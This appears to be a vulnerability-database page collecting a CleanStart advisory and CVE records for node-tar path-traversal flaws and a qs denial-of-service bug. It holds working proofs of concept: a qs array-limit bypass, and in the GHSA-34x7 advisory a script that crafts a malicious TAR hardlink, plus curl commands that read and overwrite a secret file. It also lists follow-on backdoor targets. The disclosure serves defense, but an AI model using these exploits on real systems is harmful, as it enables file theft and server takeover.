Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Multiple security vulnerabilities affect the thingsboard-tb-web-ui package. These issues are resolved in later releases. See references for individual vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "thingsboard-tb-web-ui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.3.1-r0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the thingsboard-tb-web-ui package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-DU32240",
"modified": "2026-03-12T13:10:45Z",
"published": "2026-04-01T09:57:23.228226Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-DU32240.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-2391"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-26960"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-29786"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-31802"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-34x7-hfp2-rc4v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5359-pvf2-pw78"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-73rr-hh4g-fpgx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-8qq5-rm4j-mr97"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r6q2-hw4h-h46w"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2391"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26960"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29786"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31802"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2026-2391, CVE-2026-26960, CVE-2026-29786, CVE-2026-31802, ghsa-34x7-hfp2-rc4v, ghsa-5359-pvf2-pw78, ghsa-73rr-hh4g-fpgx, ghsa-8qq5-rm4j-mr97, ghsa-r6q2-hw4h-h46w applied in versions: 4.2.1.1-r1, 4.2.1.1-r2, 4.3.0.1-r0, 4.3.1-r0",
"upstream": [
"CVE-2026-2391",
"CVE-2026-26960",
"CVE-2026-29786",
"CVE-2026-31802",
"ghsa-34x7-hfp2-rc4v",
"ghsa-5359-pvf2-pw78",
"ghsa-73rr-hh4g-fpgx",
"ghsa-8qq5-rm4j-mr97",
"ghsa-r6q2-hw4h-h46w"
]
}
CVE-2026-26960 (GCVE-0-2026-26960)
Vulnerability from cvelistv5 – Published: 2026-02-20 01:07 – Updated: 2026-02-20 15:35- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-26960",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-20T15:29:17.653825Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-02-20T15:35:27.586Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "node-tar",
"vendor": "isaacs",
"versions": [
{
"status": "affected",
"version": "\u003c 7.5.8"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "node-tar is a full-featured Tar for Node.js. When using default options in versions 7.5.7 and below, an attacker-controlled archive can create a hardlink inside the extraction directory that points to a file outside the extraction root, enabling arbitrary file read and write as the extracting user. Severity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive. This issue has been fixed in version 7.5.8."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-02-20T01:07:52.979Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/isaacs/node-tar/security/advisories/GHSA-83g3-92jg-28cx",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-83g3-92jg-28cx"
},
{
"name": "https://github.com/isaacs/node-tar/commit/2cb1120bcefe28d7ecc719b41441ade59c52e384",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/isaacs/node-tar/commit/2cb1120bcefe28d7ecc719b41441ade59c52e384"
},
{
"name": "https://github.com/isaacs/node-tar/commit/d18e4e1f846f4ddddc153b0f536a19c050e7499f",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/isaacs/node-tar/commit/d18e4e1f846f4ddddc153b0f536a19c050e7499f"
}
],
"source": {
"advisory": "GHSA-83g3-92jg-28cx",
"discovery": "UNKNOWN"
},
"title": "node-tar has Arbitrary File Read/Write via Hardlink Target Escape Through Symlink Chain in Extraction"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-26960",
"datePublished": "2026-02-20T01:07:52.979Z",
"dateReserved": "2026-02-16T22:20:28.611Z",
"dateUpdated": "2026-02-20T15:35:27.586Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-31802 (GCVE-0-2026-31802)
Vulnerability from cvelistv5 – Published: 2026-03-09 21:11 – Updated: 2026-03-10 14:56- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-31802",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-10T14:56:31.266727Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-10T14:56:35.229Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "node-tar",
"vendor": "isaacs",
"versions": [
{
"status": "affected",
"version": "\u003c 7.5.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "HIGH",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-09T21:11:56.668Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256"
},
{
"name": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad"
}
],
"source": {
"advisory": "GHSA-9ppj-qmqm-q256",
"discovery": "UNKNOWN"
},
"title": "node-tar Symlink Path Traversal via Drive-Relative Linkpath"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-31802",
"datePublished": "2026-03-09T21:11:56.668Z",
"dateReserved": "2026-03-09T16:33:42.913Z",
"dateUpdated": "2026-03-10T14:56:35.229Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-2391 (GCVE-0-2026-2391)
Vulnerability from cvelistv5 – Published: 2026-02-12 04:39 – Updated: 2026-02-12 17:32- CWE-20 - Improper Input Validation
| URL | Tags | |
|---|---|---|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-2391",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-12T15:00:21.359233Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-02-12T15:00:40.388Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-w7fw-mjwx-w883"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://npmjs.com/qs",
"defaultStatus": "unaffected",
"packageName": "qs",
"repo": "https://github.com/ljharb/qs",
"versions": [
{
"lessThanOrEqual": "6.14.1",
"status": "affected",
"version": "6.7.0",
"versionType": "semver"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "### Summary\u003cbr\u003eThe `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284).\u003cbr\u003e\u003cbr\u003e### Details\u003cbr\u003eWhen the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `[\u0027a\u0027, \u0027b\u0027, \u0027c\u0027]`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation.\u003cbr\u003e\u003cbr\u003e**Vulnerable code** (lib/parse.js: lines ~40-50):\u003cbr\u003e```js\u003cbr\u003eif (val \u0026amp;\u0026amp; typeof val === \u0027string\u0027 \u0026amp;\u0026amp; options.comma \u0026amp;\u0026amp; val.indexOf(\u0027,\u0027) \u0026gt; -1) {\u003cbr\u003e\u0026nbsp; \u0026nbsp; return val.split(\u0027,\u0027);\u003cbr\u003e}\u003cbr\u003e\u003cbr\u003eif (options.throwOnLimitExceeded \u0026amp;\u0026amp; currentArrayLength \u0026gt;= options.arrayLimit) {\u003cbr\u003e\u0026nbsp; \u0026nbsp; throw new RangeError(\u0027Array limit exceeded. Only \u0027 + options.arrayLimit + \u0027 element\u0027 + (options.arrayLimit === 1 ? \u0027\u0027 : \u0027s\u0027) + \u0027 allowed in an array.\u0027);\u003cbr\u003e}\u003cbr\u003e\u003cbr\u003ereturn val;\u003cbr\u003e```\u003cbr\u003eThe `split(\u0027,\u0027)` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p).\u003cbr\u003e\u003cbr\u003e### PoC\u003cbr\u003e**Test 1 - Basic bypass:**\u003cbr\u003e```\u003cbr\u003enpm install qs\u003cbr\u003e```\u003cbr\u003e\u003cbr\u003e```js\u003cbr\u003econst qs = require(\u0027qs\u0027);\u003cbr\u003e\u003cbr\u003econst payload = \u0027a=\u0027 + \u0027,\u0027.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)\u003cbr\u003econst options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };\u003cbr\u003e\u003cbr\u003etry {\u003cbr\u003e\u0026nbsp; const result = qs.parse(payload, options);\u003cbr\u003e\u0026nbsp; console.log(result.a.length); // Outputs: 26 (bypass successful)\u003cbr\u003e} catch (e) {\u003cbr\u003e\u0026nbsp; console.log(\u0027Limit enforced:\u0027, e.message); // Not thrown\u003cbr\u003e}\u003cbr\u003e```\u003cbr\u003e**Configuration:**\u003cbr\u003e- `comma: true`\u003cbr\u003e- `arrayLimit: 5`\u003cbr\u003e- `throwOnLimitExceeded: true`\u003cbr\u003e\u003cbr\u003eExpected: Throws \"Array limit exceeded\" error.\u003cbr\u003eActual: Parses successfully, creating an array of length 26.\u003cbr\u003e\u003cbr\u003e\u003cbr\u003e### Impact\u003cbr\u003eDenial of Service (DoS) via memory exhaustion.\u003cbr\u003e"
}
],
"value": "### Summary\nThe `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284).\n\n### Details\nWhen the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `[\u0027a\u0027, \u0027b\u0027, \u0027c\u0027]`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation.\n\n**Vulnerable code** (lib/parse.js: lines ~40-50):\n```js\nif (val \u0026\u0026 typeof val === \u0027string\u0027 \u0026\u0026 options.comma \u0026\u0026 val.indexOf(\u0027,\u0027) \u003e -1) {\n\u00a0 \u00a0 return val.split(\u0027,\u0027);\n}\n\nif (options.throwOnLimitExceeded \u0026\u0026 currentArrayLength \u003e= options.arrayLimit) {\n\u00a0 \u00a0 throw new RangeError(\u0027Array limit exceeded. Only \u0027 + options.arrayLimit + \u0027 element\u0027 + (options.arrayLimit === 1 ? \u0027\u0027 : \u0027s\u0027) + \u0027 allowed in an array.\u0027);\n}\n\nreturn val;\n```\nThe `split(\u0027,\u0027)` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p).\n\n### PoC\n**Test 1 - Basic bypass:**\n```\nnpm install qs\n```\n\n```js\nconst qs = require(\u0027qs\u0027);\n\nconst payload = \u0027a=\u0027 + \u0027,\u0027.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)\nconst options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };\n\ntry {\n\u00a0 const result = qs.parse(payload, options);\n\u00a0 console.log(result.a.length); // Outputs: 26 (bypass successful)\n} catch (e) {\n\u00a0 console.log(\u0027Limit enforced:\u0027, e.message); // Not thrown\n}\n```\n**Configuration:**\n- `comma: true`\n- `arrayLimit: 5`\n- `throwOnLimitExceeded: true`\n\nExpected: Throws \"Array limit exceeded\" error.\nActual: Parses successfully, creating an array of length 26.\n\n\n### Impact\nDenial of Service (DoS) via memory exhaustion."
}
],
"impacts": [
{
"capecId": "CAPEC-130",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-130 Excessive Allocation"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
},
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 3.7,
"baseSeverity": "LOW",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-20",
"description": "CWE-20 Improper Input Validation",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-02-12T17:32:05.953Z",
"orgId": "7ffcee3d-2c14-4c3e-b844-86c6a321a158",
"shortName": "harborist"
},
"references": [
{
"tags": [
"vendor-advisory"
],
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-w7fw-mjwx-w883"
},
{
"tags": [
"patch"
],
"url": "https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "qs\u0027s arrayLimit bypass in comma parsing allows denial of service",
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "7ffcee3d-2c14-4c3e-b844-86c6a321a158",
"assignerShortName": "harborist",
"cveId": "CVE-2026-2391",
"datePublished": "2026-02-12T04:39:42.914Z",
"dateReserved": "2026-02-12T03:52:09.332Z",
"dateUpdated": "2026-02-12T17:32:05.953Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-29786 (GCVE-0-2026-29786)
Vulnerability from cvelistv5 – Published: 2026-03-07 15:32 – Updated: 2026-03-09 18:26| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-29786",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-09T17:52:29.312917Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-09T18:26:34.057Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "node-tar",
"vendor": "isaacs",
"versions": [
{
"status": "affected",
"version": "\u003c 7.5.10"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "LOW",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "HIGH",
"userInteraction": "PASSIVE",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-59",
"description": "CWE-59: Improper Link Resolution Before File Access (\u0027Link Following\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-07T15:32:22.748Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96"
},
{
"name": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f"
}
],
"source": {
"advisory": "GHSA-qffp-2rhf-9h96",
"discovery": "UNKNOWN"
},
"title": "node-tar: Hardlink Path Traversal via Drive-Relative Linkpath"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-29786",
"datePublished": "2026-03-07T15:32:22.748Z",
"dateReserved": "2026-03-04T16:26:02.899Z",
"dateUpdated": "2026-03-09T18:26:34.057Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-34X7-HFP2-RC4V
Vulnerability from github – Published: 2026-01-28 16:35 – Updated: 2026-01-28 16:35Summary
node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.
Details
The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:
Security check in [STRIPABSOLUTEPATH]:
const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }
Hardlink creation in [HARDLINK]:
const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);
Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.
-
Security check resolves the linkpath relative to the entry's parent directory:
a/b/c/d/ + ../../../../etc/passwd=etc/passwd. No../prefix, so it passes. -
Hardlink creation resolves the linkpath relative to the extraction directory (
this.cwd):/var/app/uploads/ + ../../../../etc/passwd=/etc/passwd. This escapes to the system's/etc/passwd.
The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.
PoC
Setup
Create a new directory with these files:
poc/
├── package.json
├── secret.txt ← sensitive file (target)
├── server.js ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/ ← created automatically by server.js
└── (extracted files go here)
package.json
{ "dependencies": { "tar": "^7.5.0" } }
secret.txt (sensitive file outside uploads/)
DATABASE_PASSWORD=supersecret123
server.js (vulnerable file upload server)
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');
const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });
http.createServer((req, res) => {
if (req.method === 'POST' && req.url === '/upload') {
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', async () => {
fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
res.end('Extracted\n');
});
} else if (req.method === 'GET' && req.url === '/read') {
// Simulates app serving extracted files (e.g., file download, static assets)
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
res.end(fs.readFileSync(targetPath));
} else {
res.end('File not found\n');
}
} else if (req.method === 'POST' && req.url === '/write') {
// Simulates app writing to extracted file (e.g., config update, log append)
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', () => {
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
fs.writeFileSync(targetPath, Buffer.concat(chunks));
res.end('Written\n');
} else {
res.end('File not found\n');
}
});
} else {
res.end('POST /upload, GET /read, or POST /write\n');
}
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));
create-malicious-tar.js (attacker creates exploit TAR)
const fs = require('fs');
function tarHeader(name, type, linkpath = '', size = 0) {
const b = Buffer.alloc(512, 0);
b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
b.write(' ', 148);
b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
if (linkpath) b.write(linkpath, 157);
b.write('ustar\x00', 257); b.write('00', 263);
let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
return b;
}
// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
tarHeader('d/', 'dir'),
tarHeader('d/x', 'link', '../secret.txt'),
Buffer.alloc(1024)
]));
console.log('Created malicious.tar');
Run
# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt
# Terminal 1: Start server
node server.js
# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload
# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123
# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write
# Confirm secret.txt was modified
cat secret.txt
Impact
An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:
Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.
Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.
Remote Code Execution / Server Takeover
| Attack Vector | Target File | Result |
|---|---|---|
| SSH Access | ~/.ssh/authorized_keys |
Direct shell access to server |
| Cron Backdoor | /etc/cron.d/*, ~/.crontab |
Persistent code execution |
| Shell RC Files | ~/.bashrc, ~/.profile |
Code execution on user login |
| Web App Backdoor | Application .js, .php, .py files |
Immediate RCE via web requests |
| Systemd Services | /etc/systemd/system/*.service |
Code execution on service restart |
| User Creation | /etc/passwd (if running as root) |
Add new privileged user |
Data Exfiltration & Corruption
- Overwrite arbitrary files via hardlink escape + subsequent write operations
- Read sensitive files by creating hardlinks that point outside extraction directory
- Corrupt databases and application state
- Steal credentials from config files,
.env, secrets
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24842"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-28T16:35:31Z",
"nvd_published_at": "2026-01-28T01:16:14Z",
"severity": "HIGH"
},
